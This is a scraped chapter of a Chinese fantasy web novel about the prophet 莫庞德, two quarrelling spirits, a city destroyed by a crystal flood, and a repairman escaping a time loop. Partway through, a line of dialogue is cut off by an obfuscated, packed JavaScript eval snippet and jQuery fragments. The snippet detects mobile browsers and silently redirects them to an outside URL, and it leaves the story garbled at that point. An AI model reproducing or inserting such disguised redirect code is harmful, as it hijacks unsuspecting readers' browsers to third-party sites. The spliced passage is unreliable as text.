123读书网 > 都市小说 > 消失的春之泉 > 77.破镜难重圆-2
    “你疯了。”考斯特菲尔德的大火烧光了艾文莱恩,教堂没了,孤儿院的孩子们消失了,连山核桃的人都快死光了,除了布莱瑟尔,奥克特雷尔什么都没有了,二型人格的实验根本就是一场闹剧。如果真有药剂能够实现,沙多威克的人早就做到了。


    “每次都是你先入为主,无论是过去还是现在。总之,记得去米斯特维克接我,不需要多久,你就得承认,这回还是我对。”小北,再见了。


    奥克特雷尔眼神深邃,白色长袍拖地,她转身离开时,步伐沉稳轻快,很快消失在沙滩的另一头,教堂的钟声响起,市民们抓来的白鸽又被惊的飞去,别再见面了,奥克特雷尔。我恨奥克特雷尔,我恨莫庞德,我恨对什么都半吊子的自己,我连恨都坚持不下去,所以别再见面了,奥克特雷尔,没有恨你的力气,让我痛苦。莫庞德从不说他想做什么,但我知道他的目的实现了,真可恨。幸运的是,医疗部对他很感兴趣,他是有用的人,我什么也不用做就可以放下自己的恨。什么时候才能回到沙多威克去?橡木大人,请教我回到正确的道路上吧。


    斯温海岸还没完工就传来来奥克特雷尔的死讯,我第一次见到莫庞德眼里有讶异的情绪。银沙一车一车的送来,莫庞德和工人们一起坐着接驳船来到春之泉岸边,他一个人从远处缓缓走来,暮光里他的影子很长很长,新月从水面尽头浮起,橘红和浅蓝的天幕把先知衬得十分渺小。“米斯特维克圣堂爆发了严重的污染,是奥克特雷尔做的,她应该是死了。”没有解释到底发生了什么,也没说他为什么断定是奥克特雷尔,阵阵海风把莫庞德的脸冻成青灰色,他转身就走进教堂,没再和我多言。我回头看这座大教堂,银针一样的尖顶融进即将到来的夜里,涨潮声中,我忽然觉得很冷,为什么要来和我告别呢?奥克特雷尔,谁会为你哭泣?


    ……


    哥萨克教堂的巨型彩窗被冻裂了,莫庞德身后有一个灰色的影子,“你非要留下她,春之泉非常不开心。”,牧师们拖着铁桶在教堂里来来回回清理冰渣,他们看不到灰影,只是心疼莫庞德新婚后有处理不完的破事,都没时间和智慧之心相处。


    “他也让我非常不满意。”


    “你不应该强留下她。把德罗扎蒂亚斯送去米斯特维克是一招臭棋。”


    “那个孩子死在这里的话,我就不再是我了。”


    “你把她放在地窖也不是办法,时间不是停止了,只是对她来说无限放大了,她当时还在流血,你把她的痛苦与恐惧都拉长了一个维度。奥斯特奇来到这里,命运就已经给出了既定的结局。”


    莫庞德被冻的牙齿打颤,告解席上他望着圣母像的眼睛,“天对人的赋予是特殊的,天对我的特殊赋予,我很珍惜。”,被冻裂的琉璃眼珠簌簌掉落着小碎渣,在圣母像的脸上留下一串黑灰色痕迹,“你不相信也没关系。”,冷光里莫庞德呼出白雾,不再说话了。


    “双子都在春之泉,钥匙却在米斯特维克,不听老人言,吃亏在眼前。”灰色影子深深叹了一口气,彩窗的裂缝猛地缩了一回,玻璃像是终于不堪重负,哗啦一声全碎了,掉落在结冰的地面上,薄冰也被丁零当啷的砸碎了,清脆的声音交杂在一起,忙碌的年轻牧师们反而笑了起来。


    天气的异变没给人们的生活带来多大的变化,莫庞德早就提醒过,圣堂的污染影响巨大,大家须得保持好心情,好身体才能度过这次灾害,春之泉的市民们很听话。斯温海岸即将竣工,孩子们围着银色沙滩欢快的跑,休闲的市民们在晚间去岸边散步消食,每捡到一个被海水冲上来的漂亮贝壳和发光海星就开怀的大笑,教堂的牧师们站在钟楼的阴影里,紧张的逮捕之前逃走的白鸽,哥萨克教堂里外都洋溢着知足的快乐。直至海平线和天幕连成一片,银沙像是沸腾起来,春之泉真的在天上撕开一个口子,炸毛的飞鸟如同被吹散的蒲公英一般被海水吞噬,潮水从天上而来,春之泉的防汛官刚刚还在张贴今日公告,转眼就沉入水底,黑鸟一头撞死在新安好的花窗上,莫庞德看到它爆裂的眼珠和喷溅的血液,而此时他谁的声音也听不见了。春之泉是为他而来。


    ……


    “青青,我提醒过他了。”


    “你也不是什么好东西。你分明是诱惑他犯错!”


    “我早说了你不喜欢他这样,他非要这么做,我有什么办法?青青,你这样说话就太伤感情了啊。”


    “柯罗诺斯,你为什么非要呆在春之泉?你明明知道他现在听不到我的声音,你还是要留在他的身边,让他以为一切如常,给他尽在掌握的错觉。你在利用他,你知道他关心奥斯特奇,又故意不告诉他双子的真实身份,他们究竟为何而来,你把他引到钥匙的对立面,让他以为钥匙和双子不能共存。他越要救考斯特菲尔德的双胞胎,‘预知’就越拒绝他,是你要我闭上耳朵。现在钥匙断了,重启又要开始,时间混沌的洪流里你的力量不断被加强,你想要做什么呢?背弃同胞的灵,柯罗诺斯。”


    “青青,你对我有成见,我不怪你。但你非要觉得我故意留在这里害莫庞德就太过分了,也不是我想出来的,和人呆在一起一点意思也没有。比克雷斯特的大火,你们没有一个人帮我,我也从没怪过你们,你明明能在春之泉看到我,却从不和我搭话,现在出事了来怪我,未免太欺负人了。”


    “莫庞德是一个好人。如果你没有青睐的对象,也不应该抢走我的。是你自己偷跑出去的,是你非要戏弄沙多威克的眼睛,都是你自己的问题,谁都帮不了你。他看到你了,你就只能属于这个世界,这是我们和沙多威克之间的约定,谁都不能打破规则。”


    “你们只有在针对我的时候才讲这么多规矩。”


    “柯罗诺斯,我无意再和你争辩,作为时间本身,你参与到因果的循环,是违反规则的。但谁也没有权利惩罚你,终有一日,因果会把时间拽进难以逃脱的泥潭,希望你求救讨饶的声音不要再向我传来。”


    “青青,我就知道那天是你故意不理我。我第一个叫你来救我!”


    “从你非要离开我们的时候起,我们就不再是兄弟。”


    “为什么非要像你们一样从米斯特维克挑一个人共存呢?你喜欢莫庞德觉得无所谓,但我就是不喜欢人,没办法和人共处,你从来不考虑过我的心情。我看到他们就抓心挠肝的难受。”


    “你可以留在圣堂,谁都不会逼你。”


    “留在那里整天看那群蠢人开会吗?”


    “你不去比克雷斯特,星辰也不会失控。”


    “这你也能怪我!我只是路过!况且因为星辰,我只能一直待在这个破地方,哪都去不了了!你以为我像你一样稀罕莫庞德,缠着


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186970|191677||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他,我要是能去别的地方,我早走了!他的性格和你一样差劲!”


    “想和你好好说话,永远只是徒增烦恼。钥匙得到满意的结果之前,我不会再出现。”


    “青青,别这样!别又留下我一个人!不要走,青青!你不在,我不会帮莫庞德,那他只有死了,才能走出来,你知道的。”


    “你不让他死,我也会动手的。”深受天之喜爱的人啊,你们总是辜负。


    潮水褪去时,整个春之泉弥散着七彩的炫光,海水带走生命,宝石吞噬身体,柯罗诺斯站在废墟中央,看着零散的人形雕像,不久前还沉浸在欢声笑语中的市民们,被黑晶包裹着,诱惑着,永远陷入沉眠。哥萨克教堂的尖顶被红玉见缝插针式的崩断了,白墙被绿宝石贪婪地切割覆盖,结晶的蓝宝石碎片在风中飘散,穿过柯罗诺斯空洞的身体,发出阵阵轻响,柯罗诺斯的灰袍也开始分解,钥匙满意的结局真的存在吗?你们这些人无论重来多少次,都做一样的选择,所以才烦人啊。


    ……


    “诶我说,柯罗诺斯,你能不能换个人来,你很恨罗迪河这张脸吗?喂,听得到吗?”0104号维修员躺在教堂的儿童房里直直的盯着天花板,身旁的罗迪河还有温度,女孩儿的脖颈上的血浸湿了身下的长绒毯子,老师很快就会赶来,几十次循环之后,维修员终于意识到,这里不需要柯罗诺斯盯着也能重启,和迷失一样,只要种子的主人不满意,同样的情节就会反复上演。


    柯罗诺斯已经有段时间没声音了,他想做什么?把我拖进这里,不想让我死,也不让我离开,他为什么要拖住我?一开始我以为老师是故事里的恶角,孩子们都害怕她,现在发现老师才是教堂里孩子们的保护者。罗迪河死了,她会立刻赶来除掉我,柯罗诺斯的循环毫无意义。窗外永远是朦胧的晨光,老师此时应该已经站在掉漆的木门之后了。恍然间,我闻到一阵鱼腥味。“下雨了。”天花板也在渗水,毫无防备的,雨滴落在我的眼睛里,金色的太阳图纹开始褪色,眨眼的功夫,只剩下一片铅灰色。梦中的第一场雨,撕裂了柯罗诺斯引以为豪的重启游戏。


    大雨倾盆,哗啦啦的打在窗上,其他的孩子们和往常一样熟睡着,老师没来,他们就不会睁开眼睛。本该死去的罗迪河睁开了眼睛,0104号维修员坐在潮湿的地板上思考到底发生了什么。罗迪河觉得脖子上有些难受,用力抹了一把,指尖上蹭满了黑红的血痂,半干没干的血液混着灰色绒毛异样的粘稠,从脖子流到锁骨,滑到背后,棕色卷发全都粘在一起,“埃斯特米尔,逃吧,他现在,没法儿伤害你了。”,黑色的雨水透过窗缝钻进房里,0104号维修员望向罗迪河,她纯真的大眼睛里有自己狼狈的倒影,“你又是怎么一回事呢?”,积水逐渐没过她的脚面,罗迪河也不是柯罗诺斯的化身,又猜错了。


    罗迪河的脸开始崩坏,棕发一缕缕的剥落,0104号维修员猛地站起来靠近她,想握住她的双手,可女孩儿的手逐渐透明,她仅剩的一只眼里透露出维修员无法理解的关怀,“埃斯特米尔,这回可以醒来了。”,声音不再甜美,嘶哑卡顿,可她还是在笑。儿童房终于抵不住大雨,坍塌了,一切都溶化在黑色的雨里,雨点密密麻麻的打在0104号维修员的身上,黑色填满了世界,“老师!”,意识消散前的绝望呼喊谁也没有听到。